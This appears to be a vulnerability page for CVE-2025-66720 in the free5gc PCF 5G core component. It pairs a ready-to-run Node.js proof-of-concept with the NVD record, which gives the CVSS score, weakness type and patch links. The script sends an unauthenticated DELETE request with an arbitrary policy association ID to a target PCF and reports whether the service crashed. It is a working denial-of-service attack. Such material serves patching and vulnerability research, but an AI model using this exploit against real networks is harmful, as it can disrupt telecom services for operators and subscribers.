CVE-2025-66720

// CVE-2025-66720 PoC - Null Pointer Dereference in free5gc PCF // Target: free5gc PCF < 1.4.1 // Attack Vector: Send crafted DELETE request to /npcf-policy-control/v1/policies/{polAssoId} const http = require('http'); const targetHost = '10.0.0.1'; // PCF IP address const targetPort = 8080; const polAssoId = 'malicious_pol_asso_id'; // Triggers null pointer const options = { hostname: targetHost, port: targetPort, path: `/npcf-policy-control/v1/policies/${polAssoId}`, method: 'DELETE', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer invalid_token', 'X-Forwarded-For': '10.0.0.2' }, timeout: 5000 }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); console.log('PoC request sent. Check PCF service availability.'); }); req.on('error', (e) => { console.log('Error occurred - potential DoS condition:'); console.log(e.message); }); req.on('timeout', () => { req.destroy(); console.log('Request timeout - service may be unresponsive'); }); req.end(); console.log('CVE-2025-66720 PoC - Sending malicious DELETE request...');

{"cve": {"id": "CVE-2025-66720", "sourceIdentifier": "[email protected]", "published": "2026-01-23T16:15:52.140", "lastModified": "2026-02-11T19:56:05.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Null pointer dereference in free5gc pcf 1.4.0 in file internal/sbi/processor/ampolicy.go in function HandleDeletePoliciesPolAssoId."}, {"lang": "es", "value": "Desreferencia de puntero nulo en free5gc pcf 1.4.0 en el archivo internal/sbi/processor/ampolicy.go en la función HandleDeletePoliciesPolAssoId."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:pcf:1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "BB1C06E0-35AB-4F1A-964E-74E1E3345020"}]}]}], "references": [{"url": "https://github.com/free5gc/free5gc/issues/726", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/free5gc/pcf/pull/57", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}